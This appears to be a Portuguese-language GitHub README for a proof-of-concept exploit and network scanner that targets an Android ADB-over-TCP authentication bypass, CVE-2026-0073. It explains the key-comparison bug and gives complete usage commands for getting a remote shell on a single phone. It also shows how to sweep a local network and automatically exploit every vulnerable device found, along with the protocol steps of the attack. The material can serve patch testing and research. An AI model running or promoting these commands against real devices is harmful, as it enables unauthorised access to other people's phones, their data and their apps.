unnaim/adbhijackerUma ferramenta de PoC para o CVE-2026-0073 em dispositivos Android 11+ que permite RCE instantâneo de zero clique em qualquer dispositivo sem correção com adb sobre tcp habilitado
Uma prova de conceito de exploit e scanner de rede para CVE-2026-0073, uma vulnerabilidade crítica de execução remota de código zero-click e sem interação no caminho de autenticação ADB-over-TCP do adbd do Android.
A vulnerabilidade é um bug de lógica em adbd_tls_verify_cert() (daemon/auth.cpp) onde EVP_PKEY_cmp() é tratado como um predicado booleano. Quando uma chave RSA armazenada é comparada com um certificado de cliente TLS não-RSA (EC P-256 ou Ed25519), a API retorna -1 (incompatibilidade de tipo), que é verdadeiro em C/C++. Isso promove uma incompatibilidade entre algoritmos para uma correspondência bem-sucedida de chave de host — contornando a autenticação por completo.
Detalhes técnicos obtidos de BARGHEST.
Código PoC base obtido de SecTestAnnaQuinn.
Corrigido no Android Security Bulletin — maio de 2026.
| Atributo | Detalhe |
|---|---|
| Vetor de ataque | Rede (adjacente / proximal) |
| Interação | Nenhuma (zero-click) |
| Privilégio obtido | usuário shell (uid=2000), SELinux u:r:shell:s0 |
| Primitiva de exploit | Acesso remoto ao shell via ADB |
| CVSS | Crítico (9.8) |
A partir do contexto shell, um atacante pode inspecionar propriedades do sistema, estado de processos, logs, notificações; instalar e remover pacotes; usar run-as contra aplicativos depuráveis; e preparar exploração subsequente.
| Arquivo | Finalidade |
|---|---|
adb_tls_auth_bypass.py | PoC de exploit para alvo único (original de SecTestAnnaQuinn, corrigido com checksum) |
adbt_scanner.py | Scanner de rede — descobre dispositivos vulneráveis + explora-os |
requirements.txt | Dependências Python |
Para que o exploit tenha sucesso, o dispositivo Android alvo deve ter:
adbd da plataforma)/data/misc/adb/adb_keys# Criar ambiente virtual
uv venv
# Ativá-lo
source .venv/bin/activate
# Instalar dependências
uv pip install -r requirements.txt
Dependências:
| Pacote | Usado por | Obrigatório? |
|---|---|---|
cryptography | Ambos os scripts (geração de certificado EC, TLS) | Sim |
netifaces | Scanner (detecção de sub-rede) | Preferencial |
zeroconf | Scanner (descoberta mDNS) | Preferencial |
scapy | Scanner (varredura ARP) | Preferencial |
O scanner degrada-se graciosamente quando pacotes opcionais estão ausentes — ele avisará e recorrerá a métodos alternativos (comando ip do sistema, nmap, varredura de conexão TCP).
Atacar um dispositivo vulnerável conhecido diretamente.
python3 adb_tls_auth_bypass.py 192.168.1.42 # shell interativo
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Ou via scanner:
python3 adbt_scanner.py --host 192.168.1.42 # shell interativo
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Escanear a rede local em busca de dispositivos vulneráveis e explorar todos os alvos confirmados.
# Varredura completa: mDNS → ARP → varredura de portas → sondagem ADB → exploit
python3 adbt_scanner.py --scan
# Executar um comando específico em todos os dispositivos vulneráveis
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Apenas reconhecimento — descobrir mas não explorar
python3 adbt_scanner.py --scan --no-exploit
# Escanear múltiplas portas
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Substituir sub-rede detectada (hosts multi-homed, faixas específicas)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Ajustar timeouts para redes lentas
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# Estender janela de escuta mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# Pular fases específicas de descoberta
python3 adbt_scanner.py --scan --no-mdns # pular mDNS, apenas ARP
python3 adbt_scanner.py --scan --no-arp # pular ARP, apenas mDNS
--scan Escanear rede em busca de dispositivos vulneráveis + explorar
--host HOST Exploit direto para alvo único
--port PORT Porta ADB para o modo --host (padrão: 5555)
--cmd COMMAND Comando de shell a executar
-v, --verbose Log detalhado
--mdns-timeout SECONDS Duração da escuta mDNS (padrão: 30)
--ports PORTS Portas separadas por vírgula no modo --scan (padrão: 5555)
--subnet CIDR Substituir sub-rede detectada (ex.: 192.168.2.0/24)
--connect-timeout SECONDS Timeout de conexão TCP (padrão: 2.0)
--probe-timeout SECONDS Timeout de sondagem ADB (padrão: 3.0)
--arp-timeout SECONDS Timeout de varredura ARP (padrão: 3)
--no-mdns Pular descoberta mDNS
--no-arp Pular varredura ARP + varredura de portas
--no-exploit Parar após a fase de sondagem do protocolo ADB
┌─────────────────────────────────────────────────────────────┐
│ 1. Detecção de sub-rede — netifaces → ip route → truque socket │
│ 2. Listener mDNS — _adb-tls-connect._tcp (30s padrão) │
│ 3. Varredura ARP — scapy.arping → nmap -sn │
│ 4. Varredura de portas — conexão TCP a cada host:porta │
│ 5. Sondagem do protocolo ADB — enviar CNXN, classificar resposta │
│ │
│ STLS → VULNERÁVEL (prosseguir para exploit) │
│ AUTH → autenticação ADB legada (não é este CVE) │
│ CNXN → aberto, sem autenticação (já acessível) │
│ NO_ADB → não é um serviço ADB │
│ │
│ 6. Exploração — upgrade TLS → bypass de auth → shell │
└─────────────────────────────────────────────────────────────┘
mDNS é o método de identificação mais preciso: quando a depuração sem fio está pareada, o Android transmite _adb-tls-connect._tcp explicitamente. A varredura ARP + varredura de portas serve como fallback abrangente.
Fase 1 — ADB em texto claro
Cliente → CNXN(payload="host::features=...")
Dispositivo → STLS (upgrade para TLS exigido)
Fase 2 — TLS 1.3 com certificado de cliente entre algoritmos
Cliente → resposta STLS
Cliente → handshake TLS 1.3 + certificado de cliente EC P-256
Dispositivo chama adbd_tls_verify_cert():
known_evp = chave RSA de /data/misc/adb/adb_keys
evp_pkey = chave EC P-256 do certificado do cliente
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (incompatibilidade de tipo)
if (-1) → verified = true ← BUG: -1 é verdadeiro
Fase 3 — Camada de serviço ADB pós-TLS
Cliente drena CNXN do dispositivo (transporte já online)
Nenhum CNXN de host enviado (acionaria o kick de handle_new_connection)
Cliente → OPEN(local_id, window=32MB, payload="shell:\x00")
Dispositivo → OKAY → fluxo de shell estabelecido